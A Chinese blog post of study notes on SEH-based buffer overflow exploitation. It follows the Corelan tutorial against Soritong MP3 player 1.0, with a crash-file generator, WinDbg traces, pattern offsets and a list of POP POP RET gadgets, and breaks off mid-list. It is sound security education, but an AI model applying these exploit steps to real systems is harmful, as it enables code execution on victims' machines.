作为与时俱进的Web狗,不学点二进制安全相关的东西就太狭隘了,所以翻出收藏夹收藏已久的Corelan Team二进制经典系列教程。本篇文章是我在完成这篇教程学习之后,重新总结梳理的记录,结合自己的认识来讲述栈溢出的SEH利用方式。
教程原文稍显繁琐而且文章顺序稍显混乱,我在重新梳理的过程中也舍去了一些冗余的内容(比如SEH结构被反复讲了3次)和一些我觉得没有必要的内容(比如通过Ollydbg观察SEH的过程)。如果大家想了解被这写内容,可以去阅读这篇原文:[《Exploit writing tutorial part 3 : SEH Based Exploits》]
(https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/)。 至于为什么一上来就是教程的第三部分,因为第一部分学习之后的一段时间去处理其他事情,一直没来的及梳理(我难道要告诉你是因为我懒?),稍后会补上的。也希望自己能够完成这个系列教程的学习,并像这篇一样写成学习笔记分享出来。
SEH为”Structured Exception Handler“的缩写,我们在编写程序时经常会遇到需要捕获某些异常进行特殊处理的情况,简单来说,就是try&catch语法。 我们简单来看下在栈中try&catch语法是怎么放置的:
SEH为”Structured Exception Handler“的缩写,我们在编写程序时经常会遇到需要捕获某些异常进行特殊处理的情况,简单来说,就是try&catch语法。
我们简单来看下在栈中try&catch语法是怎么放置的:
Windows有一套默认的SEH来捕获异常,如果Windows捕获到一个异常,你可以看到一个写着” xxx has encountered a problem and needs to close”的弹窗,这一般就是默认异常处理被触发的结果。显而易见,为了写出一套健壮的软件,在大多数情况下,开发人员会自己写代码捕获和处理这些异常(try&catch)。
为了应用程序能够捕获到异常后执行catch部分代码,异常处理指针会存储在每个代码块的栈中。如上图所示,每段代码都有它自己的栈结构,而异常处理作为栈的一部分存储在其中。换句话说,每个函数/程序都有一个栈结构,如果这个函数/程序自己实现了一个异常处理,那么这个异常处理就在这个函数/程序的栈结构中。
为了方便表达,之后的内容中使用EH(exception handler)来代表异常处理
EH以链表的形式存储在栈中,每一条SEH记录大小为8字节,包含2个元素:
下图为一个简单的SEH链条结构:
SEH链条的开始指针存在放在数据块的最开始位置(包括主函数、TEB(Thread Environment Block)或TIB(Thread Information Block)的数据块),所以SEH链条调用时经常会出现FS:[0]。在Intel机器中,如果你反汇编SEH的代码,就会看到类似MOV EAX,DWORD PTR FS:[0]这样的指令。在SEH链条的最末端,指针指向了FFFFFFFF,这代表程序并没有对这个异常进行处理,操作系统异常处理机制触发。
从Windows XP SP1开始,当EH被调用时,操作系统会将所有的寄存器都会和它们自己进行一次异或操作,使它们都成为0x00000000,来确保你无法通过引用寄存器的方式找到你的payload。简单来说就是,EH触发,寄存器被清空了,我们无法简单的使用jmp eax这种方式完成利用了。
SafeSEH是一些在编译阶段添加的保护机制,以阻止SEH覆盖的滥用。
有了XOR和SafeSEH的保护,我们不能通过jump寄存器的方式来跳到shellcode,这时就需要一些其他的指令来帮助我们达到jump到shellcode(指定地址)的目的。
从上面的栈结构图中我们可以得知,通过栈溢出可以将SEH链条进行覆盖。而每一条SEH记录的内容是两个指针,一个指向下一条记录,一个指向当前EH的处理函数,前者在栈上的位置是后者的上面。有了这些内容,我们可以打出这样的一套组合拳:
我们的输入大概是这样的:
1 |
[Junk][nSEH][SEH][Nop-Shellcode] |
对照上面的步骤,nSEH放置shellcode地址,SEH放置“POP POP RET”操作函数的地址。
这次实验使用的是Soritong MP3 player 1.0,发布于2009年7月20日。
首先使用python实现一个生成脚本(原文为perl),用以生成可以触发崩溃的文件:
1 2 3 4 5 6 7 |
'''python uitext = "ui.txt" junk = "\x41" * 5000 fp = open(uitext, 'w') fp.write(junk) fp.close() ''' |
把生成的文件放在安装路径下的skin/default目录中,使用windbg打开soritong.exe。
在程序加载完成后,执行之前,windbg会添加一个断点,让程序暂停,在最下面的输入框中输入g或者按下F5,运行程序。
windbg在捕获到异常后向程序插入断点,并提示“This exception may be expected and handled“。
打印栈信息看一下:
1 2 3 4 5 6 7 8 9 10 11 12 |
''' 00422e33 8810 mov byte ptr [eax],dl ds:0023:00130000=41 0:000> d esp 0012da14 3c eb aa 00 00 00 00 00-00 00 00 00 00 00 00 00 <............... 0012da24 94 da 12 00 00 00 00 00-e0 a9 15 00 00 00 00 00 ................ 0012da34 00 00 00 00 00 00 00 00-00 00 00 00 94 88 94 7c ...............| 0012da44 67 28 91 7c 00 eb 12 00-00 00 00 00 01 a0 f8 00 g(.|............ 0012da54 01 00 00 00 24 da 12 00-71 b8 94 7c d4 ed 12 00 ....$...q..|.... 0012da64 8f 04 44 7e 30 88 41 7e-ff ff ff ff 2a 88 41 7e ..D~0.A~....*.A~ 0012da74 7b 92 42 7e af 41 00 00-b8 da 12 00 d8 00 0b 5d {.B~.A.........] 0012da84 94 da 12 00 bf fe ff ff-b8 f0 12 00 b8 a5 15 00 ................ ''' |
可以在0012da64那行看到SEH链条中最终的ffffffff被调用,下面我们运行!analyze -v来看下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 |
''' FAULTING_IP: SoriTong!TmC13_5+3ea3 00422e33 8810 mov byte ptr [eax],dl EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 00422e33 (SoriTong!TmC13_5+0x00003ea3) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 00130000 Attempt to write to address 00130000 FAULTING_THREAD: 00000a4c PROCESS_NAME: SoriTong.exe ADDITIONAL_DEBUG_TEXT: Use '!findthebuild' command to search for the target build information. If the build information is available, run '!findthebuild -s ; .reload' to set symbol path and load symbols. FAULTING_MODULE: 7c900000 ntdll DEBUG_FLR_IMAGE_TIMESTAMP: 37dee000 ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at "0x%08lx" referenced memory at "0x%08lx". The memory could not be "%s". EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at "0x%08lx" referenced memory at "0x%08lx". The memory could not be "%s". EXCEPTION_PARAMETER1: 00000001 EXCEPTION_PARAMETER2: 00130000 WRITE_ADDRESS: 00130000 FOLLOWUP_IP: SoriTong!TmC13_5+3ea3 00422e33 8810 mov byte ptr [eax],dl BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_WRITE_WRONG_SYMBOLS PRIMARY_PROBLEM_CLASS: INVALID_POINTER_WRITE DEFAULT_BUCKET_ID: INVALID_POINTER_WRITE IP_MODULE_UNLOADED: ud+41414140 41414141 ?? ??? LAST_CONTROL_TRANSFER: from 41414141 to 00422e33 STACK_TEXT: WARNING: Stack unwind information not available. Following frames may be wrong. 0012fd38 41414141 41414141 41414141 41414141 SoriTong!TmC13_5+0x3ea3 0012fd3c 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140 0012fd40 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140 0012fd44 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140 0012fd48 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140 0012fd4c 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140 0012fd50 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140 0012fd54 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140 . . . (removed some of the lines) 0012ffb8 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140 0012ffbc SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: SoriTong!TmC13_5+3ea3 FOLLOWUP_NAME: MachineOwner MODULE_NAME: SoriTong IMAGE_NAME: SoriTong.exe STACK_COMMAND: ~0s ; kb BUCKET_ID: WRONG_SYMBOLS FAILURE_BUCKET_ID: INVALID_POINTER_WRITE_c0000005_SoriTong.exe!TmC13_5 Followup: MachineOwner ''' |
EH处理指针指向了ffffffff,说明应用程序并没有实现相关的try&catch,下面我们打印一下TEB:
1 2 3 4 5 6 7 8 9 10 11 |
''' 0:000> d fs:[0] 003b:00000000 64 fd 12 00 00 00 13 00-00 c0 12 00 00 00 00 00 d............... 003b:00000010 00 1e 00 00 00 00 00 00-00 f0 fd 7f 00 00 00 00 ................ 003b:00000020 00 0f 00 00 30 0b 00 00-00 00 00 00 08 2a 14 00 ....0........*.. 003b:00000030 00 b0 fd 7f 00 00 00 00-00 00 00 00 00 00 00 00 ................ 003b:00000040 38 43 a4 e2 00 00 00 00-00 00 00 00 00 00 00 00 8C.............. 003b:00000050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 003b:00000060 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 003b:00000070 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ''' |
根据我们上面所说的,fs:[0]的开始部分就是指向SEH链条最开始部分的指针,我们接着打印下这个地址(0x0012FD64)下的内容:
1 2 3 4 5 6 7 8 9 10 11 |
''' 0:000> d 0012fd64 0012fd64 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0012fd74 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0012fd84 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0012fd94 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0012fda4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0012fdb4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0012fdc4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0012fdd4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA ''' |
里面全是A,我们再通过!exchain命令查看下EH链条的指向:
1 2 3 4 5 |
''' 0:000> !exchain 0012fd64: <Unloaded_ud.drv>+41414140 (41414141) Invalid exception stack at 41414141 ''' |
可以看出我们已经成功的覆盖了EH的处理指针,程序如果再向下执行,就会将0x41414141作为地址返回给EIP:
上面这张图,我们也可以看到eax、ebx、esi和edi已经被清空了。
针对SEH的利用,在Windows XP SP1之前可以通过直接jmp到寄存器的方式跳转到shellcode,而在之后的版本,只能采用我们之前所说的”POP POP RET“方法。使用RET的方式覆盖EIP存在一定的稳定性问题,并且也可能会出现buffer大小不够的尴尬。但这通常都是值得的,每当你发现了一个栈溢出可以使你覆盖EIP,那你可以更深入的覆盖栈空间,尝试触发SEH链条。”更深入“意味着你讲填充更多的有效buffer空间,并且当你覆盖EIP的同时,一个异常被自动触发,将一个传统的exploit转变成一个SEH exploit。
现在我们再来回顾一下之前所说的利用思路:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
''' 1st exception occurs : | --------------------------- (1) | -------+-------------- (3) opcode in next SEH : jump over SE Handler to the shellcode | | | | V V [ Junk buffer ][ next SEH ][ SE Handler ][ Shellcode ] opcode to do (3) Shellcode gets executed jump over pop pop ret SE Handler | ^ | | | -------------- (2) will ‘pretend’ there’s a second exception, puts address of next SEH location in EIP, so opcode gets executed ''' |
实现过程中,我们需要先知道填充多少个字符到Junk buffer,才能到达next SEH的位置。这里我们使用msf提供的pattern_create.rb和pattern_offset.rb套装工具完成,首先使用pattern_create.rb生成一个5000字节长度的字符串,放到我们前面的python代码的junk变量中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
''' msf@ubuntu-msf:/opt/metasploit-framework/tools$ ./pattern_create.rb 5000 ''' '''python #!/usr/bin/python # -*-coding:utf-8-*- uitext = "ui.txt" junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk" fp = open(uitext, 'w') fp.write(junk) fp.close() ''' |
像之前一样执行,在windbg中我们在2次断点后使用!exchain命令查看当前EH指针的内容:
1 2 3 4 5 6 |
''' 0:000> !exchain 0012d658: ntdll!RtlConvertUlongToLargeInteger+7e (7c9032bc) 0012fd64: 41367441 Invalid exception stack at 35744134 ''' |
指针内容是41367441,通过python print来将它们的ascii形式打印:
1 2 3 4 |
''' In [3]: print "\x41\x36\x74\x41" A6tA ''' |
再使用pattern_offset.rb查看位置:
1 2 3 4 |
''' msf@ubuntu-msf:/opt/metasploit-framework/tools$ ./pattern_offset.rb 0x41367441 5000 [*] Exact match at offset 588 ''' |
这时我们知道了到达SE Handler需要填充588个字节,到达next Handler就是588-4=584字节。下面我们需要找到一个带有”POP POP RET“的函数地址,参照第一篇教程的方法,我们最好在应用程序自带的dll中找到带有这样功能的函数(好了,我知道你们又要吐槽我没写第一篇就写第三篇了,我会尽快的233)。
从windbg最开始的加载内容中,可以看到有一个C:\Program Files\SoriTong\Player.dll,我们先来看看它有没有我们想要的。这里我们使用msf提供的msfpescan来查看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 |
''' msf@ubuntu-msf:/opt/metasploit-framework$ msfpescan -p /home/msf/桌面/Player.dll |grep pop |grep -v "000" 0x100106fb pop edi; pop esi; ret 0x10010915 pop ebp; pop ebx; ret 0x10010a7c pop esi; pop ebx; ret 0x10010bf2 pop esi; pop ebx; ret 0x10010cab pop edi; pop esi; ret 0x1001105b pop esi; pop ebx; retn 0x0010 0x10011091 pop esi; pop ebx; retn 0x0010 0x10011113 pop esi; pop ebx; retn 0x0010 0x100116fd pop edi; pop esi; ret 0x100120f3 pop esi; pop ebx; ret 0x1001216e pop esi; pop ebx; ret 0x10012178 pop esi; pop ebx; ret 0x100125d9 pop esi; pop ebx; ret 0x100125ee pop esi; pop ebx; ret 0x1001263d pop edi; pop esi; ret 0x100127f8 pop edi; pop esi; ret 0x1001281f pop edi; pop esi; ret 0x10012984 pop edi; pop esi; ret 0x10012ddd pop edi; pop esi; ret 0x10012e17 pop edi; pop esi; ret 0x10012e5e pop edi; pop esi; ret 0x10012e70 pop edi; pop esi; ret 0x10012f11 pop esi; pop ebx; ret 0x10012f56 pop edi; pop esi; ret 0x10013047 pop ebx; pop edi; ret 0x1001304d pop ebx; pop edi; ret 0x100133b2 pop edi; pop esi; ret 0x100135f0 pop esi; pop ebx; ret 0x1001372b pop esi; pop ebx; ret 0x10013878 pop edi; pop esi; ret 0x100138f7 pop edi; pop esi; ret 0x10013991 pop esi; pop ebx; ret 0x10013a05 pop esi; pop ebp; ret 0x10013baa pop esi; pop ebx; ret 0x10013c51 pop esi; pop ebx; ret 0x10013c7d pop esi; pop ebx; ret 0x10013fbf pop esi; pop ebx; ret 0x10013fd1 pop esi; pop ebx; ret 0x100140e0 pop esi; pop ebx; ret 0x100140e7 pop esi; pop ebx; ret 0x10014137 pop esi; pop ebx; ret 0x100141a5 pop esi; pop ebx; ret 0x100141db pop esi; pop ebx; ret 0x1001422c pop esi; pop ebx; ret 0x10014233 pop esi; pop ebx; ret 0x10014269 pop esi; pop ebx; ret 0x100142b9 pop esi; pop ebx; ret 0x10014335 pop esi; pop ebx; ret 0x10014448 pop edi; pop esi; ret 0x10014475 pop edi; pop esi; ret 0x10014499 pop edi; pop esi; ret 0x100144bf pop edi; pop esi; ret 0x10014f3e pop esi; pop ebx; ret 0x10014f84 pop esi; pop ebx; ret 0x100152f1 pop esi; pop ebx; ret 0x1001535c pop esi; pop ebx; ret 0x1001536a pop esi; pop ebx; ret 0x1001537a pop esi; pop ebx; ret 0x10015d3f pop esi; pop ebx; ret 0x10015d86 pop esi; pop ebx; ret 0x10016d8c pop edi; pop esi; ret 0x100173bb pop edi; pop ebx; ret 0x100173c2 pop edi; pop ebx; ret 0x100173c9 pop edi; pop ebx; ret 0x10017602 pop esi; pop ebx; ret 0x1001824c pop edi; pop esi; ret 0x10018290 pop edi; pop esi; ret 0x1001829b pop edi; pop esi; ret 0x100183cb pop esi; pop ebx; ret 0x100183eb pop esi; pop ebx; ret 0x100183f1 pop esi; pop ebx; ret 0x10018460 pop esi; pop ebx; ret 0x1001890a pop esi; pop ebx; ret 0x1001892e pop esi; pop ebx; ret 0x10018a2b pop esi; pop ebx; ret 0x10018a89 pop esi; pop ebx; ret 0x10018b31 pop esi; pop ebx; ret 0x10018b38 pop esi; pop ebx; ret 0x10018bd5 pop esi; pop ebx; ret 0x10018c81 pop esi; pop ebx; ret 0x10018de8 pop edi; pop esi; ret 0x10018f03 pop esi; pop ebx; retn 0x0010 0x10018fe7 pop edi; pop esi; ret 0x10019267 pop edi; pop esi; ret 0x100192ee pop edi; pop esi; ret 0x1001930f pop edi; pop esi; ret 0x100193bd pop edi; pop esi; ret 